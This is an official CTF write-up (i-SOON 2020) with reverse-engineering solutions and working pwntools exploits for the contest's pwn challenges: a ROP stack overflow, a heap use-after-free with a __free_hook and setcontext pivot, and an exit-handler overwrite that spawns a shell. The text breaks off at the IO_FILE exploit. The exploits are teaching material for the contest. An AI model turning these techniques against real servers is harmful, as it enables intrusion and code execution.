安洵杯2020 官方Writeup(Re/Pwn) - D0g3
0xdawn CTF 8504浏览 · 2020-12-07 03:11

本文由 @D0g3 编写

i-SOON_CTF_2020 部分题目环境/源码后续将在Github开源
项目地址

Re

EasyCM_WP

1.程序框架

通过TLS回调函数对程序关键加密函数进行SMC自解码,用户输入字符串,通过关键加密函数加密后与字符串比对。

2.关键加密函数

通过SMC自解密后可以查看

类似base64的重组位之后查表,同时另一个线程对表进简单的换表操作,线程同步进行。

(base表被简单加密隐藏)

3.反调试

静态反调试:几处花指令。

动态反调试:CheckRemoteDebuggerPresent

3.三个TLS回调函数

进入程序有三个TLS回调函数:

TlsCallBack_0

这两个函数都加了花指令。

其中SMC自解码过程

TlsCallBack_1

TlsCallBack_2

4.两个子线程:

  1. 子线程1,对 假flag 进行初次加密 得到比较字符串。

  2. 子线程2,先对程序中的一串数据进行加密后得到base表,再与主线程进行线程同步换表,且第一次换表在前。(这个线程加了花指令)

    其实base表解密之后就是标准的base64码表,不过下面要变换一下。

5.进入主函数

关键函数内部,因为添加花指令,循环调用关键加密函数 的部分缺失。

对SMC自解码代码解密 脚本
  1. IDA中 IDC对SMC自解码代码解密 脚本
//IDA中 IDC对SMC自解码代码解密 脚本
auto address_s = 0x41E000;
auto address_e = 0x41F200;
auto i = 0;

for (; address_s+i < address_e; i++){
    if (i % 4 == 0){
        PatchByte(address_s+i, Byte(address_s+i) ^ 'D');
    }else if (i % 4 == 1){
        PatchByte(address_s+i, Byte(address_s+i) ^ '0');
    }else if (i % 4 == 2){
        PatchByte(address_s+i, Byte(address_s+i) ^ 'g');
    }else if (i % 4 == 3){
        PatchByte(address_s+i, Byte(address_s+i) ^ '3');
    }
}
Message("\ndone\n");
  1. 或者手动对PE文件中的节区(节区名:‘.cyzcc’)数据进行解密。

(解密之后的代码也添加了花指令,需要去除一下)

代码解密之后

这部分关键代码,就是对字节的进行一个重组,之后查表,换一次表加密数据一次。

6.脚本

编程语言:c

编译环境:vc++6.0

//table数组就是被加密隐藏的base表,得事先对一串数据解密后得到,我这里直接解密后贴过来了。
#include<stdio.h>
char table[150] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };
char RTS[] =  "D0g3{cyzcc_have_ten_girlfriends}";
char rra[] = { 0x23,0x7a,0x3d,0x60,0x34,0x7,0x11,0x36,0x2c,0x5,
                0xc,0x20,0xb,0x22,0x3f,0x6f,0x16,0x0,0x37,0xd,
                0x36,0xf,0x1e,0x20,0x37,0x14,0x2,0x9,0x2,0xf,
                0x1b,0x39, };
char str[100] = {0};

int main()
{
    unsigned char a = 0 ;
    unsigned char b = 0 ;
    unsigned char c = 0 ;
    unsigned char d = 0 ;
    unsigned int k = 0 ;
    unsigned int i = 0 ;

    for( i=0 ; RTS[i] ; i++)
        RTS[i] ^= rra[i];

    char* p = table;

    for(int j = 0; RTS[j] ; j += 4 )
    {
        //这里开始循环换表
        *(p+64) = *p;
        p++;

        for(i =0 ; i<64 ; i++)
            if( RTS[j] == *(p+i) )
            {
                a = i;
                break;
            }
        for(i =0 ; i<64 ; i++)
            if( RTS[j+1] == *(p+i) )
            {
                b = i;
                break;
            }
        for(i =0 ; i<64 ; i++)
            if( RTS[j+2] == *(p+i) )
            {
                c = i;
                break;
            }
        for(i =0 ; i<64 ; i++)
            if( RTS[j+3] == *(p+i) )
            {
                d = i;
                break;
            }
        k = (j/4)*3;
        str[k+0] = a<<2&0xC0 | c<<2&0x30 | d>>2&0xC | b&0x3;
        str[k+1] = b<<2&0xC0 | a<<2&0x30 | d>>0&0xC | c&0x3;
        str[k+2] = c<<2&0xC0 | b<<2&0x30 | d<<2&0xC | a&0x3;
    }
    printf("%s\n",str);
    return 0;
}

anxun3

题目说明

美好的愿望送给所有道格兄弟

题目分析

这道题是个去了符号表的mips程序

首先建议使用ghidra和ida联合分析

使用的知识点为

strcmp函数,只对比第二个字符串的长度,也就是代表,只对比前面的字符串

strstr,寻找第一个出现字符串的位置

kmp算法,搜索字符串,返回位置,但是比strstr搜索快

test函数,一个简单的异或算法...

题解

首先是strcmp函数,解出对应的第一段d0g3wi11

其次是发现,这里存在寻找m0r3的字符串,并且因为count计数是两次,所以直接记录下来

然后kmp算法,寻找了11b3,和b3tt3r这两个字符串

最后test函数解出来就是

key = "o3v6d4|}9y"
flag = ''
for i in range(len(key)):
    flag += chr(ord(key[i])^(i+2))
print flag

m0r3b3tt3r

最后根据重复的位置,把字符串拼接完成:

d0g3wi11b3m0r3m0r3b3tt3r

最后输入了这个字符串,就会输出:

d0gewillbem0rem0rebetter

这就是最后的flag了

debugging

解题思路:

ida载入,从字符定位到一个假的流程,但可以从base64字符串上面的数据表定位真实流程的一个分支再不断往前找引用来到main函数:

程序创建了子进程,父进程控制修改子进程的eip为指定函数即我们程序的关键函数。这也是我们下断后程序不会断下的原因(自我创建反调试,这里不展开了)。可通过附加子进程调试。

来到关键函数,首先创建了一个线程函数,对flag{i_am_not_right_but_i_believe_you_can_find_out_what_happened}字符进行快速排序后对程序中的2个码表进行异或解密。

附加调试程序起来:

由于附加调试后是上面解码表已经完成后的位置,所以此时直接使用Findcrypt插件可以找到程序使用了加密算法 blowfish,key :who_am_i 直接看blowfish加密的流程还是比较好辨认的。

来到vm部分,注意每次的操作码都有&ff,所以opcode有大量垃圾数据。可以直接在idapthon中打印出所有opcode看看程序操作顺序。

把关键数据跟随到dump窗口调试时,注意一下即可看到操作1把blowfish加密后的数据转化为了字符串。

剩下自己多跟下,可以发现重复的操作很多,再分析下函数功能即可。

开始初始化了一个链栈和链队列,然后把上面加密了字符串进行依次压栈,再出栈起到倒序的作用,之后把倒序后的字符串进行入队,入队元素个数%4 == 0 时通过一个函数获取当前队列队列中的元素个数n,且从opcode表中取出一个数据data,然后把本次入队的四个元素作为一个整型数据ans,做操作ans -= n*data,最后就是从opcode表中依次取出最后用来比较的数据,四个字节做一个比较,相等的话count++,因为64个字符有16组,所以最后比较count == 16即可。

idapython提取出用来加密的数据:

提取出最后用来比较的数据:

解密:

import struct
from Crypto.Cipher import Blowfish
import codecs

a = [49, 102, 49, 53, 53, 53, 101, 49, 50, 99, 56, 98, 48, 51, 54, 57]

enc = [246, 50, 99, 53, 148, 55, 101, 54, 175, 55, 53, 56, 135, 104, 49, 57, 84, 57, 48, 101, 89, 59, 101, 97, 64, 111, 57, 51, 130, 108, 56, 57, 64, 104, 56, 49, 218, 63, 51, 55, 214, 57, 49, 54, 153, 66, 101, 102, 248, 64, 100, 50, 97, 60, 55, 55, 224, 61, 51, 100, 113, 113, 54, 48]
enc = bytes(enc)
ans = []
ans1 = b''

for i in range(0, 64, 4):
    ans += list(struct.unpack("i", enc[i:i+4]))

for i in range(16):
    ans[i] -=  a[i]*(i+1)*4
    ans1 += struct.pack("i", ans[i])
ans1  = ans1[::-1]
key = "who_am_i"

def Decrypt(enc,key):
        key=key.encode("utf-8")
        #enc=enc.encode("utf-8")
        cl = Blowfish.new(key, Blowfish.MODE_ECB)
        ciphertext = codecs.decode(enc, 'hex_codec')
        code = cl.decrypt(ciphertext)
        return code
flag = Decrypt(ans1, key)
print(flag)

ez_android

这是一道不是很好的题 --出题人

拖进gda看一下,发现入口是一个NativeActivity

看了一下好像还有一些Java层的东西,看一下

发现按钮会调用getRes方法,跟踪发现getRes是native方法,还找到了提示flag是否正确的方法。

分析librun.so

找了一下没发现JNI_OnLoad,直接分析getRes方法

从参数中获取输入的flag,可以分析出flag的长度为20,同时将flag复制到内存中

FUN_00013490函数传递了含flag的内存地址,跟进后发现无法解析。推测可能会运行时解密

继续向下分析

发现是一个散列算法,将flag计算后的结果进行散列后与数组中的数据进行比较,如果不符合则弹出提示。

显然关键在于如何找到FUN_00013490的解密函数,检查文件发现entry的数据不正常,可能是存储了加密所需的信息。

如果是一个段加密,那么可能会在so加载时进行解密。同时解密过程需要寻找so基地址和使用mprotect的方式修改内存。不妨从寻找mprotect的调用处着手

发现7处调用mprotecrt的地方,先在第一个地方看看

发现fscanf的输入格式是%p-%p,应该是从maps中寻找地址用的。同时发现这个函数是init_array函数调用的一环。

分析一下这个函数,发现在两个mprotect之间夹着一个循环

可以看到这个循环里会对base_addr加一个偏移的位置与某个数组的某个元素进行异或操作。再将异或后的结果减去当前计数器计数。我太菜了看不懂ghidra这段的伪代码,换个工具

舒服多了,很清楚看到是对下标为计数器余50的元素进行异或,同时可以发现FUN_00013490这个函数位于.anti段中。根据段的偏移和大小来编写程序解密这个段

解密后可以分析整个流程

首先去第一个字符,如果余6的结果是0和3则到FUN_00012508,1和4到FUN_00013644,2和5到FUN_00013788

跟进这个三个函数,发现他们之间的区别在于是否有对异或后的结果加一个值

以FUN_00012508为例,这里换用ida

可见传入的flag的前四个字符会先复制到tmp_arr中,然后与v10指向的数组的每个元素进行异或。这里v10的元素可知为AA,BB,CC,DD。将异或后的所有数相加余3,当为0则进入sub_38CC,为1则进入sub_3964,为2则进入sub_39FC。

先进sub_38CC看看

可以看到flag的前14个字符会与v3中的相关元素进行异或,第5个元素+5,第19个元素与第5个元素异或。其余的两个函数处理过程一样,不过v3的值不同

如何判断到底执行了哪个函数,不妨做一波猜测。猜测前四个字符是flag头,可能是D0g3,d0g3,flag等等。写一个小程序将这些头加密一遍与程序中加密后的数据进行比较,可以得出D0g3的可能性高。

根据猜测可知调用FUN_00013788和sub_39FC。如果没有进行散列,则确定加密流程后便能写出解密流程得到结果。但函数处理完成后会经过散列处理,散列导致的不可逆是本题最大的败笔。出题人再次深感抱歉(出题人太菜了)

如果硬要解,提供两个思路:

1.利用已知信息和产生冲突元素时所确定的先后顺序关系来进行爆破

2.猜flag:根据加密流程可知flag的后6个字符没有经过最后一步的处理,分析散列后flag的明文信息可以确定后6个字符的位置,再根据猜测的flag头进一步减少需要猜测的信息。最后剩下来的元素一一与v3中的值异或,得到产生的明文来猜测

或者其他我不知道的思路

Pwn

Web Server

题目考点

http协议,堆栈溢出漏洞利用,orw rop链构造,seccomp保护

简要概述

一个模拟的web服务器, 采用http协议进行通讯, 采用浏览器访问可直接查看web页面。程序开了沙箱, 只能采用open, read, write来打印flag或者利用lgx::http::send_file函数来获取flag。

漏洞点

在lgx::work::work::handle_post中有个memcpy函数,该函数是将post的数据进行拷贝到dest中,若post的数据过大,则造成堆栈溢出

void __fastcall lgx::work::work::handle_post(lgx::work::work *this)
{
  __m128i *v1; // rax
  __m128i v2; // xmm0
  void *v3; // rdx
  bool v4; // zf
  void *v5; // [rsp+0h] [rbp-568h]
  __int64 v6; // [rsp+8h] [rbp-560h]
  __int64 v7; // [rsp+10h] [rbp-558h]
  void *v8; // [rsp+20h] [rbp-548h]
  void *v9; // [rsp+28h] [rbp-540h]
  void *v10; // [rsp+30h] [rbp-538h]
  char dest; // [rsp+40h] [rbp-528h]

  memcpy(&dest, **((const void ***)this + 2), *(_QWORD *)(*((_QWORD *)this + 2) + 8LL)); // vul
  v8 = &v10;
  v5 = (void *)34;
  v1 = (__m128i *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v8, &v5, 0LL);
  v8 = v1;
  v10 = v5;
  *v1 = _mm_load_si128((const __m128i *)&xmmword_4148F0);
  v2 = _mm_load_si128((const __m128i *)&xmmword_414900);
  v1[2].m128i_i16[0] = 32034;
  v3 = v8;
  v1[1] = v2;
  v9 = v5;
  *((_BYTE *)v5 + (_QWORD)v3) = 0;
  v4 = *((_QWORD *)this + 9) == 0LL;
  v5 = &v7;
  LODWORD(v7) = 1836345390;
  WORD2(v7) = 108;
  v6 = 5LL;
  if ( !v4 )
  {
    (*((void (__fastcall **)(char *, void **, void **))this + 10))((char *)this + 56, &v5, &v8);
    if ( v5 != &v7 )
      operator delete(v5);
  }
  if ( v8 != &v10 )
    operator delete(v8);
}

思路

未开启pie,没有pop rdx的相关gadget, 采用__libc_csu_init函数中的gadget来进行调用三个参数的函数, orw打印flag

.text:0000000000413A00 loc_413A00:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000413A00                 mov     rdx, r14
.text:0000000000413A03                 mov     rsi, r13
.text:0000000000413A06                 mov     edi, r12d
.text:0000000000413A09                 call    qword ptr [r15+rbx*8]
.text:0000000000413A0D                 add     rbx, 1
.text:0000000000413A11                 cmp     rbp, rbx
.text:0000000000413A14                 jnz     short loc_413A00
.text:0000000000413A16
.text:0000000000413A16 loc_413A16:                             ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000413A16                 add     rsp, 8
.text:0000000000413A1A                 pop     rbx
.text:0000000000413A1B                 pop     rbp
.text:0000000000413A1C                 pop     r12
.text:0000000000413A1E                 pop     r13
.text:0000000000413A20                 pop     r14
.text:0000000000413A22                 pop     r15
.text:0000000000413A24                 retn

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

elf_path  = 'pwn'
# remote server ip and port
server_ip = "axb.d0g3.cn"
server_port = 20100

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def post(d):
    p =  b'POST / HTTP/1.1\r\n'
    p += b'Content-Length: ' + str(len(d)).encode() + b'\r\n'
    p += b'\r\n'
    p += d
    s(p)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    pop_rsp = 0x403811
    gadget_init = 0x413A1A
    gadget_call = 0x413A00
    buf = elf.bss() + 0x400
    flag_addr = buf
    p = b'A' * 0x528
    rop = flat([
    gadget_init,
    0, 1,
    0, flag_addr, 0x100, elf.got['read'],
    gadget_call,
    0, 0, 1,
    flag_addr, 0, 0, elf.got['open'],
    gadget_call,
    0, 0, 1,
    3, flag_addr, 0x100, elf.got['read'],
    gadget_call,
    0, 0, 1,
    1, flag_addr, 0x100, elf.got['write'],
    gadget_call
    ])
    p += rop
    post(p)
    s('./flag\x00')

def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

LGX DATA PLATFORM

题目考点

http协议,对象堆布局干扰,glibc 2.31下uaf漏洞利用,堆栈迁移,orw,seccomp保护

简要概述

一个采用http协议进行交互的web服务器,提供了add_data,delete_data,get_data等api操作。api交互格式如下:

Add data:[POST method] url = '/?request=add_data&index=your_data_index&size=your_size', post your data
Delete data:[GET method] url = '/?request=delete_data&index=your_data_index'
Get data:[GET method] url = '/?request=get_data&index=your_data_index'

漏洞点

在删除之后指针没有清0,但是还的需要绕过一个检查机制if ( *(_DWORD *)(v12 + 328) )必须保证里面不会0才可释放内存,而*(_DWORD *)(v12 + 328)其实也就是储存的大小,且在释放后对大小进行了清0操作。

lgx::work::work::client:delete函数

if ( *(_DWORD *)(v12 + 328) )
  {
    v13 = *(void **)(v12 + 320);
    if ( v13 )
      operator delete[](v13);                   // uaf
    v25 = &s1;
    *(_DWORD *)(v12 + 328) = 0;
 ...

lgx::work::work::client_add函数

*(_DWORD *)(v22 + 328) = v44;    //储存该index下的大小
if ( (unsigned int)v44 > 0x400 ) //如果大小大于0x400的话相当于直接跳转到函数末尾,完成该函数的调用。
  {
    v54 = &s1;
    v47 = 49LL;
    v37 = (__m128i *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(
                       &v54,
                       &v47,
                       0LL);
    v27 = &v51;
    v54 = v37;
    s1 = v47;
    *v37 = _mm_load_si128((const __m128i *)&xmmword_17B00);
    v38 = _mm_load_si128((const __m128i *)&xmmword_17B40);
    v37[3].m128i_i8[0] = 125;
    v37[1] = v38;
    v37[2] = _mm_load_si128((const __m128i *)&xmmword_17B50);
    v26 = (char *)v54;
    v55 = v47;
    *((_BYTE *)v54 + v47) = 0;
    v25 = *((_QWORD *)v3 + 9) == 0LL;
    v51 = &v53;
    LODWORD(v53) = 1869834798;
    WORD2(v53) = 110;
    v52 = 5LL;
    if ( !v25 )
    {
      (*((void (__fastcall **)(signed __int64, void **, void **))v3 + 10))((signed __int64)v3 + 56, &v51, &v54);
      goto LABEL_70;
    }
    goto LABEL_50;                              // 跳转到函数末尾
  }

从以上可以发现,若释放一个正常的数据之后,再原来使用的该index下申请大于0x400的话,构成了uaf漏洞。

思路

由于程序采用c++进行开发的,使用了大量的c++标准容器储存数据,堆布局比较混乱,建议采用最新版pwngdb 中parseheap命令进行解析堆布局,c++容器类频繁构造与析构会干扰正常的malloc与free的次序,开辟的堆大小尽可能保持大于0x100堆,避免c++对象堆布局的干扰。

通过逻辑漏洞造成uaf漏洞,泄露heap和libc地址,采用unsorted bin前置合并与uaf漏洞实现堆重叠,构造fake chunk实现修改释放后存在tache bin的fd,实现任意地址开辟,为了保证glibc 内存管理检查机制正常开辟内存,需要修复unsorted bin 的fd与bk,也还要提前设置好c++ 对象开辟内存大小的tcache bin, 防止对象开辟内存的干扰。修改free_hook为libc中 rdx的gadget,在堆中构造libc setcontext中rdx相关寄存器赋值的布局,修改rsp实现堆栈迁移,在堆中提前构造orw rop, 然后在free时将flag打印出来。

在libc中快速找rdx与rdi的gadget

objdump -M intel -D libc.so.6 | grep "mov    rdx,QWORD PTR \[rdi+0x8\]"

使用如下gadget

154930:       48 8b 57 08             mov    rdx,QWORD PTR [rdi+0x8]

对应代码为:

.text:0000000000154930                 mov     rdx, [rdi+8]
.text:0000000000154934                 mov     [rsp+0C8h+var_C8], rax
.text:0000000000154938                 call    qword ptr [rdx+20h]

采用该gadget可以是rdi参数进行转移至rdx,且方便我们使用setcontext函数中的gadget实现寄存器的赋值实现堆栈迁移至堆中。

setcontext + 61处的gadget如下,

.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4                 mov     rbx, [rdx+80h]
.text:00000000000580EB                 mov     rbp, [rdx+78h]
.text:00000000000580EF                 mov     r12, [rdx+48h]
.text:00000000000580F3                 mov     r13, [rdx+50h]
.text:00000000000580F7                 mov     r14, [rdx+58h]
.text:00000000000580FB                 mov     r15, [rdx+60h]
.text:00000000000580FF                 test    dword ptr fs:48h, 2
.text:000000000005810B                 jz      loc_581C6

...

.text:00000000000581C6 loc_581C6:                              ; CODE XREF: setcontext+6B↑j
.text:00000000000581C6                 mov     rcx, [rdx+0A8h]
.text:00000000000581CD                 push    rcx
.text:00000000000581CE                 mov     rsi, [rdx+70h]
.text:00000000000581D2                 mov     rdi, [rdx+68h]
.text:00000000000581D6                 mov     rcx, [rdx+98h]
.text:00000000000581DD                 mov     r8, [rdx+28h]
.text:00000000000581E1                 mov     r9, [rdx+30h]
.text:00000000000581E5                 mov     rdx, [rdx+88h]
.text:00000000000581E5 ; } // starts at 580A0
.text:00000000000581EC ; __unwind {
.text:00000000000581EC                 xor     eax, eax
.text:00000000000581EE                 retn

然后在堆中布置一下orw rop即可。

exp

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Arch linux

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
elf_path  = './lgx-data-platform'
# remote server ip and port
server_ip = "axb.d0g3.cn"
server_port = 20101

# if local debug
LOCAL = 0
LIBC  = 1

#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def get(url):
    p =  'GET ' + url + ' HTTP/1.1\r\n'
    p += '\r\n'
    s(p)

def post(url, data):
    p =  b'POST ' + url.encode() + b' HTTP/1.1\r\n'
    p += b'Content-Length: ' + str(len(data)).encode() + b'\r\n'
    p += b'\r\n'
    p += data
    s(p)

def add(i, s, d):
    post('/?request=add_data&index=' + str(i) + '&size=' + str(s), d)
    ru('HTTP/1.1 200 OK')

def rm(i):
    get('/?request=delete_data&index=' + str(i))
    ru('HTTP/1.1 200 OK')

def get_data(i):
    get('/?request=get_data&index=' + str(i))
    ru('HTTP/1.1 200 OK')

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')

    add(0, 0x400, b'') # 0
    add(0x31, 0x37c, b'') # for bypass unsorted bin malloc 
    add(0x32, 0x37c, b'') # for bypass unsorted bin malloc
    add(0x33, 0x348, b'') # for bypass unsorted bin malloc
    add(0x34, 0x331, b'') # for bypass unsorted bin malloc
    add(0x35, 0x331, b'') # for bypass unsorted bin malloc

    rm(0x31)
    rm(0x32)
    rm(0x33)
    rm(0x34)
    rm(0x35)

    for i in range (16):
        add(i, 0x100, b'') # 1

    for i in range (7):
        rm(i + 1)
    rm(8)

    add(8, 0x401, b'')
    add(2, 0x401, b'')

    # leak libc
    get_data(8)
    ru('"data":"')
    leak = u64(io.recv()[-8:-2].ljust(8, b'\x00'))
    main_arena_offset = 0x1ebb80
    libc_base = leak - main_arena_offset - 96
    main_arena = libc_base + main_arena_offset
    free_hook = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext'] + 61
    gadget = libc_base + 0x1547A0 # local
    gadget = libc_base + 0x154930 # remote
    ret_addr = libc_base + 0x25679

    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    pop_rdi = libc_base + 0x26b72
    pop_rsi = libc_base + 0x27529
    pop_rdx_r12 = libc_base + 0x11c1e1 # local
    pop_rdx_r12 = libc_base + 0x11c371 # remote

    li('libc_base : ' + hex(libc_base))

    # leak heap
    get_data(2)
    ru('"data":"')
    leak = u64(io.recv()[-8:-2].ljust(8, b'\x00'))
    heap = leak - (0)
    li('heap chunk 2 : ' + hex(heap))

    rm(9) # for merge
    rm(10) # for merge

    for i in range (6):
        add(i + 0x10, 0x100, b'') # 1

    rm(8) # free our large chunk

    add(9, 0x401, b'')
    rm(9) # add out fake chunk to tcache list

    #rop = flat();
    set_context = p64(0) * 4 # rdx -> addr
    set_context += p64(setcontext) # rdx + 0x20
    set_context += p64(0x11111)
    set_context = set_context.ljust(0xa0, b'\x00')
    set_context += p64(heap + 0x880 + 0x110) # set rsp, point to rop
    set_context += p64(ret_addr) # set rcx, avoid push rcx impact on rsp
    set_context += b'./flag\x00'

    flag_addr = heap + 0x888 + 0xa0 + 0x10
    rop = flat([
        pop_rdi, flag_addr,     
        pop_rsi, 0,
        libc_open,
        pop_rdi, 3,
        pop_rsi, flag_addr,
        pop_rdx_r12, 0x100, 0,
        libc_read,
        pop_rdi, 1,
        pop_rsi, flag_addr,
        #pop_rdx_r12, 0x100, 0,
        libc_write,
    # pause
        pop_rdi, 0,
        libc_read
    ])

    p = p64(main_arena + 96) + p64(main_arena + 96)
    p = p.ljust(0x100, b'\x00')
    p += p64(0) + p64(0x111) # fake chunk 9
    p += (p64(free_hook) + set_context).ljust(0x100, b'\x00')

    p += p64(0) + p64(0x111) # fake chunk 10
    p += rop.ljust(0x100, b'\x00')
    p += b'A' * 0x10 # avoid string obj malloc to our fake chunk

    add(0x20, 0x320, p) # malloc to our chunk, and make a fake chunk
    add(0x21, 0x100, b'')

    p = p64(gadget)
    p += p64(heap + 0x888) # set rdx pointer to heap set_context addr + 0x20

    #db()
    # trigger
    post('/?request=add_data&index=' + str(0x22) + '&size=' + str(0x100), p)

def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()

attack log

┌[logan☮arch]-(~/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform)
└> ./exp
[*] '/run/media/logan/disk1/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform/lgx-data-platform'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to axb.d0g3.cn on port 20101: Done
[*] '/run/media/logan/disk1/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] exploit...
[*] libc_base : 0x7f0929101000
[*] heap chunk 2 : 0x56151b60e090
[*] Switching to interactive mode

Server: LGX_SERVER 
Access-Control-Allow-Origin: *
Content-Type: application/json
Content-Length: 43

{"code":"true", "msg":"warning none data!"}flag{722b6d90a64c25782af42d14d784ce1c}

Einstein

分析

该题首先是个逻辑漏洞,可以导致uaf泄露出main_arena,从而泄露出libc的基地址

其次,由于只能任意地址写三个字节,所以只能靠exit函数_dl_fini+126处的调用来写入(one_gadget)三个字节,这里有可能出现无法写入one_gadget完整的情况,所以该题的exp,打这个题目,是有一定的成功率的...一般来说,尝试三次,就可以成功

详解

首先是泄露libc的基地址,这里uaf的常见套路了

只要name和passwd不等于admin就行了

payload = '{"name":"xxxxx","passwd":"xxxxx"}'
io.sendline(payload)
io.recvuntil('logger:spring login error!\nlogger:')
lib_main = u64(io.recvuntil(' login', drop=True).ljust(8, '\x00'))
print 'lib_main_arena is ',hex(lib_main)
libc_base = lib_main - 88 - 0x3c4b20
print 'libc_base is ',hex(libc_base)

然后是重点exit函数的利用了,网上有很多该函数的利用教程,但是这里由于我增加了libm库,所以具体的偏移量需要自己调试,直接照抄网上的偏移,是不可能成功的

那么调试exit,si单步调试

其中部分内容如下:

si进入exit函数(这里会直接进入_dl_runtime_resolve_xsavec),然后跳过第一个_dl_fixup函数,找到__run_exit_handlers函数,继续进入,找到了_call_tls_dtors进入这个函数 这里有个call rdx(0x7ffff7de7af0),直接进入_dl_fini

0x7ffff7de7b6e <_dl_fini+126>    call   qword ptr [rip + 0x2163d4] <0x7ffff7dd7c90>
        rdi: 0x7ffff7ffd948 (_rtld_global+2312) ◂— 0x0
        rsi: 0x1
        rdx: 0x7ffff7de7af0 (_dl_fini) ◂— push   rbp
        rcx: 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe168 ◂— 0x0

   0x7ffff7de7b74 <_dl_fini+132>    mov    ecx, dword ptr [r12]
   0x7ffff7de7b78 <_dl_fini+136>    test   ecx, ecx
   0x7ffff7de7b7a <_dl_fini+138>    je     _dl_fini+80 <0x7ffff7de7b40>

   0x7ffff7de7b7c <_dl_fini+140>    mov    rax, qword ptr [r12 - 8]
   0x7ffff7de7b81 <_dl_fini+145>    movzx  edx, byte ptr [rax + 0x315]

这里我们使用pwndbg计算,偏离量,0x7ffff7dd7c90-libc_base

这样子我们就可以在该地址上写入3个字节,从而实现控制了exit函数的流程

exp

#-*- coding:utf-8 –*-
from pwn import *
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./sfs"
libcFileName = ""
ip = "0.0.0.0"
port = 10003

Debug = 0
if Debug:
    io = process(elfFileName)
    gdb.attach(io)
else:
    io = remote(ip,port)

#
io.recvuntil('passwd.\n')
payload = '{"name":"xxxxx","passwd":"xxxxx"}'
io.sendline(payload)
io.recvuntil('logger:xxxxx login error!\nlogger:')
lib_main = u64(io.recvuntil(' login', drop=True).ljust(8, '\x00'))
print 'lib_main_arena is ',hex(lib_main)
libc_base = lib_main - 88 - 0x3c4b20
print 'libc_base is ',hex(libc_base)
#
target = libc_base + 0x8f9f48#0x3f1000+0xf08#0x5f0f48
one_gadget = libc_base + 0xf02a4#0xf1147#0x4526a#0x45216#0xf02a4

print 'target is ',hex(target)
print 'one_gadget is ',hex(one_gadget)

sleep(0.1)
for i in range(3):
    io.send(p64(target + i))
    sleep(0.1)
    io.send(p64(one_gadget)[i])
    sleep(0.1)

#io.recv()
io.sendline("exec /bin/sh")

io.interactive()

IO_FILE

思路

存在UAF漏洞,double free tcache_attack攻击IO_FILE之后,泄露libc,再double free tacche_attack修改free_hook为system

exp

from pwn import *
context.log_level='debug'
context.terminal=['deepin-terminal', '-x', 'sh' ,'-c']
elf=ELF("./IO_FILE")
